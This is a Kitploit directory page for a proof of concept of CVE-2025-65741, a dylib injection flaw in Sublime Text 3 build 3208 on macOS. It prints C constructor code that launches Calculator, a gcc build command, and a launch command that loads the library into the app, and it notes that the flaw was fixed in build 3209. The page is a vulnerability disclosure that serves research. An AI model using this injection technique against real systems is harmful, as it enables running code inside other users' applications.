Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-65741 | Kitploit
Tools/GitHubGitHub/vinicius-batistella/cve-2025-65741
Vulnerability AnalysisCode AnalysisExploitationPayload DevelopmentBinary Exploitation
GitHubvinicius-batistella/cve-2025-65741

CVE-2025-65741

View Repository
7 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-65741 - Sublime Text 3 vulnerable to Dylib Injection for macOS

root@kitploit:~
Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS

Details

The Sublime Text app does not correctly check an unsigned code injection, which allows an attacker to compile a .dylib lib and force the app to run it in the context of the application. In the following example, the Sublime Text app was forced to open the calc binary. This vulnerability has been fixed in the Build 3209 and after.

image

PoC

  1. Compile the following C code as follows:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
	printf("[+] Dynalic Library Injection: %s\n", argv[0]);
	system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
root@kitploit:~
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
  1. Then, run it against a Sublime Text 3 build 3208 or prior as follows:
root@kitploit:~
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text
Download Tool